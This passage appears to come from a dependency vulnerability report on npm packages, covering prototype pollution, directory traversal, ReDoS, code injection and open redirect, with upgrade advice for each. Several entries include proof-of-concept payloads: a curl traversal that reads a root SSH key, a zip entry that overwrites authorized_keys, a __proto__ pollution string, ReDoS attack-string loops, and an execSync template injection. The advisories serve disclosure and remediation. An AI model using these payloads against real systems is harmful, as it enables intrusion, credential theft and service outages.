Property Injection | +Client | +The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens. For example: if a codebase checks privileges for someuser.isAdmin , then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true , they can then achieve admin privileges. |
+
Affected environments
+The following environments are susceptible to a Prototype Pollution attack:
+-
+
Application server
+
+ Web server
+
+
How to prevent
+-
+
Freeze the prototype— use
+Object.freeze (Object.prototype)
.
+ Require schema validation of JSON input.
+
+ Avoid using unsafe recursive merge functions.
+
+ Consider using objects without prototypes (for example,
+Object.create(null)
), breaking the prototype chain and preventing pollution.
+ As a best practice use
+Map
instead ofObject
.
+
For more information on this vulnerability type:
+Arteau, Oliver. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018
+Remediation
+Upgrade ajv
to version 6.12.3 or higher.
References
+-
+
- HackerOne Report +
+ + + +
Directory Traversal
++ + + +
+ + +
Detailed paths
+ + + ++ +
Overview
+adm-zip is a JavaScript implementation for zip data compression for NodeJS.
+Affected versions of this package are vulnerable to Directory Traversal. It could extract files outside the target folder.
+Details
+A Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with "dot-dot-slash (../)" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.
+Directory Traversal vulnerabilities can be generally divided into two types:
+-
+
- Information Disclosure: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system. +
st
is a module for serving static files on web pages, and contains a vulnerability of this type. In our example, we will serve files from the public
route.
If an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.
+curl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa
+
+ Note %2e
is the URL encoded version of .
(dot).
-
+
- Writing arbitrary files: Allows the attacker to create or replace existing files. This type of vulnerability is also known as
Zip-Slip
.
+
One way to achieve this is by using a malicious zip
archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.
The following is an example of a zip
archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in /root/.ssh/
overwriting the authorized_keys
file:
2018-04-15 22:04:29 ..... 19 19 good.txt
+ 2018-04-15 22:04:42 ..... 20 20 ../../../../../../root/.ssh/authorized_keys
+
+ Remediation
+Upgrade adm-zip
to version 0.5.2 or higher.
References
+-
+
- GitHub Commit +
+ + + +
Prototype Pollution
++ + + +
+ + +
Detailed paths
+ + + ++ +
Overview
+yargs-parser is a mighty option parser used by yargs.
+Affected versions of this package are vulnerable to Prototype Pollution. The library could be tricked into adding or modifying properties of Object.prototype
using a __proto__
payload.
Our research team checked several attack vectors to verify this vulnerability:
+-
+
- It could be used for privilege escalation. +
- The library could be used to parse user input received from different sources:
-
+
- terminal emulators +
- system calls from other code bases +
- CLI RPC servers +
+
PoC by Snyk
+const parser = require("yargs-parser");
+ console.log(parser('--foo.__proto__.bar baz'));
+ console.log(({}).bar);
+
+ Details
+Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as _proto_
, constructor
and prototype
. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype
are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.
There are two main ways in which the pollution of prototypes occurs:
+-
+
Unsafe
+Object
recursive merge
+ Property definition by path
+
+
Unsafe Object recursive merge
+The logic of a vulnerable recursive merge function follows the following high-level model:
+merge (target, source)
+
+ foreach property of source
+
+ if property exists and is an object on both the target and the source
+
+ merge(target[property], source[property])
+
+ else
+
+ target[property] = source[property]
+
+ + +
When the source object contains a property named _proto_
defined with Object.defineProperty()
, the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object
and the source of Object
as defined by the attacker. Properties are then copied on the Object
prototype.
Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source)
.
lodash
and Hoek
are examples of libraries susceptible to recursive merge attacks.
Property definition by path
+There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)
If the attacker can control the value of “path”, they can set this value to _proto_.myValue
. myValue
is then assigned to the prototype of the class of the object.
Types of attacks
+There are a few methods by which Prototype Pollution can be manipulated:
+Type | +Origin | +Short description | +
---|---|---|
Denial of service (DoS) | +Client | +This is the most likely attack. DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf ). The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object . In this case, the code fails and is likely to cause a denial of service. For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail. |
+
Remote Code Execution | +Client | +Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation. For example: eval(someobject.someattr) . In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code. |
+
Property Injection | +Client | +The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens. For example: if a codebase checks privileges for someuser.isAdmin , then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true , they can then achieve admin privileges. |
+
Affected environments
+The following environments are susceptible to a Prototype Pollution attack:
+-
+
Application server
+
+ Web server
+
+
How to prevent
+-
+
Freeze the prototype— use
+Object.freeze (Object.prototype)
.
+ Require schema validation of JSON input.
+
+ Avoid using unsafe recursive merge functions.
+
+ Consider using objects without prototypes (for example,
+Object.create(null)
), breaking the prototype chain and preventing pollution.
+ As a best practice use
+Map
instead ofObject
.
+
For more information on this vulnerability type:
+Arteau, Oliver. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018
+Remediation
+Upgrade yargs-parser
to version 5.0.1, 13.1.2, 15.0.1, 18.1.1 or higher.
References
+ + ++ + + +
Regular Expression Denial of Service (ReDoS)
++ + + +
+ + +
Detailed paths
+ + + ++ +
Overview
+validator is a library of string validators and sanitizers.
+Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via the isSlug
function
PoC
+var validator = require("validator")
+ function build_attack(n) {
+ var ret = "111"
+ for (var i = 0; i < n; i++) {
+ ret += "a"
+ }
+
+ return ret+"_";
+ }
+ for(var i = 1; i <= 50000; i++) {
+ if (i % 10000 == 0) {
+ var time = Date.now();
+ var attack_str = build_attack(i)
+ validator.isSlug(attack_str)
+ var time_cost = Date.now() - time;
+ console.log("attack_str.length: " + attack_str.length + ": " + time_cost+" ms")
+ }
+ }
+
+ Details
+Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
+The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
+Let’s take the following regular expression as an example:
+regex = /A(B|C+)+D/
+
+ This regular expression accomplishes the following:
+-
+
A
The string must start with the letter 'A'
+ (B|C+)+
The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+
matches one or more times). The+
at the end of this section states that we can look for one or more matches of this section.
+ D
Finally, we ensure this section of the string ends with a 'D'
+
The expression would match inputs such as ABBD
, ABCCCCD
, ABCBCCCD
and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
+$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
+ 0.04s user 0.01s system 95% cpu 0.052 total
+
+ $ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
+ 1.79s user 0.02s system 99% cpu 1.812 total
+
+ The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
+Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
+Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
+-
+
- CCC +
- CC+C +
- C+CC +
- C+C+C. +
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
+From there, the number of steps the engine must use to validate a string just continues to grow.
+String | +Number of C's | +Number of steps | +
---|---|---|
ACCCX | +3 | +38 | +
ACCCCX | +4 | +71 | +
ACCCCCX | +5 | +136 | +
ACCCCCCCCCCCCCCX | +14 | +65,553 | +
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
+Remediation
+Upgrade validator
to version 13.6.0 or higher.
References
+ + ++ + + +
Regular Expression Denial of Service (ReDoS)
++ + + +
+ + +
Detailed paths
+ + + ++ +
Overview
+validator is a library of string validators and sanitizers.
+Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via the rtrim
function.
PoC
+var validator = require("validator")
+ function build_attack(n) {
+ var ret = ""
+ for (var i = 0; i < n; i++) {
+ ret += " "
+ }
+
+ return ret+"◎";
+ }
+ for(var i = 1; i <= 50000; i++) {
+ if (i % 10000 == 0) {
+ var time = Date.now();
+ var attack_str = build_attack(i)
+ validator.rtrim(attack_str)
+ var time_cost = Date.now() - time;
+ console.log("attack_str.length: " + attack_str.length + ": " + time_cost+" ms")
+ }
+
+ Details
+Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
+The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
+Let’s take the following regular expression as an example:
+regex = /A(B|C+)+D/
+
+ This regular expression accomplishes the following:
+-
+
A
The string must start with the letter 'A'
+ (B|C+)+
The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+
matches one or more times). The+
at the end of this section states that we can look for one or more matches of this section.
+ D
Finally, we ensure this section of the string ends with a 'D'
+
The expression would match inputs such as ABBD
, ABCCCCD
, ABCBCCCD
and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
+$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
+ 0.04s user 0.01s system 95% cpu 0.052 total
+
+ $ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
+ 1.79s user 0.02s system 99% cpu 1.812 total
+
+ The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
+Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
+Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
+-
+
- CCC +
- CC+C +
- C+CC +
- C+C+C. +
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
+From there, the number of steps the engine must use to validate a string just continues to grow.
+String | +Number of C's | +Number of steps | +
---|---|---|
ACCCX | +3 | +38 | +
ACCCCX | +4 | +71 | +
ACCCCCX | +5 | +136 | +
ACCCCCCCCCCCCCCX | +14 | +65,553 | +
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
+Remediation
+Upgrade validator
to version 13.7.0 or higher.
References
+-
+
- GitHub Issue +
- GitHub PR +
- GitHub PR #2 +
+ + + +
Regular Expression Denial of Service (ReDoS)
++ + + +
+ + +
Detailed paths
+ + + ++ +
Overview
+validator is a library of string validators and sanitizers.
+Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via the isHSL
function.
PoC
+var validator = require("validator")
+ function build_attack(n) {
+ var ret = "hsla(0"
+ for (var i = 0; i < n; i++) {
+ ret += " "
+ }
+
+ return ret+"◎";
+ }
+ for(var i = 1; i <= 50000; i++) {
+ if (i % 1000 == 0) {
+ var time = Date.now();
+ var attack_str = build_attack(i)
+ validator.isHSL(attack_str)
+ var time_cost = Date.now() - time;
+ console.log("attack_str.length: " + attack_str.length + ": " + time_cost+" ms")
+ }
+ }
+
+ Details
+Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
+The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
+Let’s take the following regular expression as an example:
+regex = /A(B|C+)+D/
+
+ This regular expression accomplishes the following:
+-
+
A
The string must start with the letter 'A'
+ (B|C+)+
The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+
matches one or more times). The+
at the end of this section states that we can look for one or more matches of this section.
+ D
Finally, we ensure this section of the string ends with a 'D'
+
The expression would match inputs such as ABBD
, ABCCCCD
, ABCBCCCD
and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
+$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
+ 0.04s user 0.01s system 95% cpu 0.052 total
+
+ $ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
+ 1.79s user 0.02s system 99% cpu 1.812 total
+
+ The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
+Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
+Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
+-
+
- CCC +
- CC+C +
- C+CC +
- C+C+C. +
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
+From there, the number of steps the engine must use to validate a string just continues to grow.
+String | +Number of C's | +Number of steps | +
---|---|---|
ACCCX | +3 | +38 | +
ACCCCX | +4 | +71 | +
ACCCCCX | +5 | +136 | +
ACCCCCCCCCCCCCCX | +14 | +65,553 | +
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
+Remediation
+Upgrade validator
to version 13.6.0 or higher.
References
+-
+
- GitHub Issue +
- GitHub PR +
+ + + +
Regular Expression Denial of Service (ReDoS)
++ + + +
+ + +
Detailed paths
+ + + ++ +
Overview
+validator is a library of string validators and sanitizers.
+Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via the isEmail
function.
PoC
+var validator = require("validator")
+ function build_attack(n) {
+ var ret = ""
+ for (var i = 0; i < n; i++) {
+ ret += "<"
+ }
+
+ return ret+"";
+ }
+ for(var i = 1; i <= 50000; i++) {
+ if (i % 10000 == 0) {
+ var time = Date.now();
+ var attack_str = build_attack(i)
+ validator.isEmail(attack_str,{ allow_display_name: true })
+ var time_cost = Date.now() - time;
+ console.log("attack_str.length: " + attack_str.length + ": " + time_cost+" ms")
+ }
+ }
+
+ Details
+Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
+The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
+Let’s take the following regular expression as an example:
+regex = /A(B|C+)+D/
+
+ This regular expression accomplishes the following:
+-
+
A
The string must start with the letter 'A'
+ (B|C+)+
The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+
matches one or more times). The+
at the end of this section states that we can look for one or more matches of this section.
+ D
Finally, we ensure this section of the string ends with a 'D'
+
The expression would match inputs such as ABBD
, ABCCCCD
, ABCBCCCD
and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
+$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
+ 0.04s user 0.01s system 95% cpu 0.052 total
+
+ $ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
+ 1.79s user 0.02s system 99% cpu 1.812 total
+
+ The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
+Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
+Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
+-
+
- CCC +
- CC+C +
- C+CC +
- C+C+C. +
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
+From there, the number of steps the engine must use to validate a string just continues to grow.
+String | +Number of C's | +Number of steps | +
---|---|---|
ACCCX | +3 | +38 | +
ACCCCX | +4 | +71 | +
ACCCCCX | +5 | +136 | +
ACCCCCCCCCCCCCCX | +14 | +65,553 | +
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
+Remediation
+Upgrade validator
to version 13.6.0 or higher.
References
+-
+
- GitHub Issue +
- GitHub PR +
+ + + +
Arbitrary Code Injection
++ + + +
+ + +
Detailed paths
+ + + ++ +
Overview
+underscore is a JavaScript's functional programming helper library.
+Affected versions of this package are vulnerable to Arbitrary Code Injection via the template
function, particularly when the variable
option is taken from _.templateSettings
as it is not sanitized.
PoC
+const _ = require('underscore');
+ _.templateSettings.variable = "a = this.process.mainModule.require('child_process').execSync('touch HELLO')";
+ const t = _.template("")();
+
+ Remediation
+Upgrade underscore
to version 1.13.0-2, 1.12.1 or higher.
References
+ + ++ + + +
Regular Expression Denial of Service (ReDoS)
++ + + +
+ + +
Detailed paths
+ + + ++ +
Overview
+uglify-js is a JavaScript parser, minifier, compressor and beautifier toolkit.
+Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via the string_template
and the decode_template
functions.
Details
+Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
+The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
+Let’s take the following regular expression as an example:
+regex = /A(B|C+)+D/
+
+ This regular expression accomplishes the following:
+-
+
A
The string must start with the letter 'A'
+ (B|C+)+
The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+
matches one or more times). The+
at the end of this section states that we can look for one or more matches of this section.
+ D
Finally, we ensure this section of the string ends with a 'D'
+
The expression would match inputs such as ABBD
, ABCCCCD
, ABCBCCCD
and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
+$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
+ 0.04s user 0.01s system 95% cpu 0.052 total
+
+ $ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
+ 1.79s user 0.02s system 99% cpu 1.812 total
+
+ The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
+Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
+Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
+-
+
- CCC +
- CC+C +
- C+CC +
- C+C+C. +
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
+From there, the number of steps the engine must use to validate a string just continues to grow.
+String | +Number of C's | +Number of steps | +
---|---|---|
ACCCX | +3 | +38 | +
ACCCCX | +4 | +71 | +
ACCCCCX | +5 | +136 | +
ACCCCCCCCCCCCCCX | +14 | +65,553 | +
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
+Remediation
+Upgrade uglify-js
to version 3.14.3 or higher.
References
+-
+
- GitHub Commit +
- GitHub Issue +
- GitHub PR +
- GitHub PR +
+ + + +
Directory Traversal
++ + + +
+ + +
Detailed paths
+ + + ++ +
Overview
+Versions prior to 0.2.5 did not properly prevent path traversal. Literal dots in a path were resolved out, but url encoded dots were not. Thus, a request like /%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd
would leak sensitive files and data from the server.
As of version 0.2.5, any '/../'
in the request path, urlencoded or not, will be replaced with '/'
. If your application depends on url traversal, then you are encouraged to please refactor so that you do not depend on having ..
in url paths, as this tends to expose data that you may be surprised to be exposing.
Details
+A Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with "dot-dot-slash (../)" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.
+Directory Traversal vulnerabilities can be generally divided into two types:
+-
+
- Information Disclosure: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system. +
st
is a module for serving static files on web pages, and contains a vulnerability of this type. In our example, we will serve files from the public
route.
If an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.
+curl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa
+
+ Note %2e
is the URL encoded version of .
(dot).
-
+
- Writing arbitrary files: Allows the attacker to create or replace existing files. This type of vulnerability is also known as
Zip-Slip
.
+
One way to achieve this is by using a malicious zip
archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.
The following is an example of a zip
archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in /root/.ssh/
overwriting the authorized_keys
file:
2018-04-15 22:04:29 ..... 19 19 good.txt
+ 2018-04-15 22:04:42 ..... 20 20 ../../../../../../root/.ssh/authorized_keys
+
+ Remediation
+Upgrade to version 0.2.5 or greater.
+References
+-
+
- https://github.com/isaacs/st#security-status +
- http://blog.npmjs.org/post/80277229932/newly-paranoid-maintainers +
+ + + +
Open Redirect
++ + + +
+ + +
Detailed paths
+ + + ++ +
Overview
+st
is a module for serving static files.
Affected versions of this package are vulnerable to Open Redirect. A malicious user could send a specially crafted request, which would automatically redirect the request to another domain, controlled by the attacker.
+Note: st
will only redirect if requests are served from the root(/
) and not from a subdirectory
References
+-
+
- GitHub Commit +
+ + + +
Regular Expression Denial of Service (ReDoS)
++ + + +
+ + +
Detailed paths
+ + + ++ +
Overview
+semver is a semantic version parser used by npm.
+Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). The semver module uses regular expressions when parsing a version string. For a carefully crafted input, the time it takes to process these regular expressions is not linear to the length of the input. Since the semver module did not enforce a limit on the version string length, an attacker could provide a long string that would take up a large amount of resources, potentially taking a server down. This issue therefore enables a potential Denial of Service attack.
+Details
+Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
+The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
+Let’s take the following regular expression as an example:
+regex = /A(B|C+)+D/
+
+ This regular expression accomplishes the following:
+-
+
A
The string must start with the letter 'A'
+ (B|C+)+
The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+
matches one or more times). The+
at the end of this section states that we can look for one or more matches of this section.
+ D
Finally, we ensure this section of the string ends with a 'D'
+
The expression would match inputs such as ABBD
, ABCCCCD
, ABCBCCCD
and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
+$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
+ 0.04s user 0.01s system 95% cpu 0.052 total
+
+ $ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
+ 1.79s user 0.02s system 99% cpu 1.812 total
+
+ The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
+Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
+Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
+-
+
- CCC +
- CC+C +
- C+CC +
- C+C+C. +
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
+From there, the number of steps the engine must use to validate a string just continues to grow.
+String | +Number of C's | +Number of steps | +
---|---|---|
ACCCX | +3 | +38 | +
ACCCCX | +4 | +71 | +
ACCCCCX | +5 | +136 | +
ACCCCCCCCCCCCCCX | +14 | +65,553 | +
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
+Remediation
+Upgrade semver
to version 4.3.2 or higher.
References
+-
+
- GitHub Release +
+ + + +
Regular Expression Denial of Service (ReDoS)
++ + + +
+ + +
Detailed paths
+ + + ++ +
Overview
+path-parse is a Node.js path.parse() ponyfill
+Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via splitDeviceRe
, splitTailRe
, and splitPathRe
regular expressions. ReDoS exhibits polynomial worst-case time complexity.
PoC
+var pathParse = require('path-parse');
+ function build_attack(n) {
+ var ret = ""
+ for (var i = 0; i < n; i++) {
+ ret += "/"
+ }
+ return ret + "◎";
+ }
+
+ for(var i = 1; i <= 5000000; i++) {
+ if (i % 10000 == 0) {
+ var time = Date.now();
+ var attack_str = build_attack(i)
+ pathParse(attack_str);
+ var time_cost = Date.now() - time;
+ console.log("attack_str.length: " + attack_str.length + ": " + time_cost+" ms")
+ }
+ }
+
+ Details
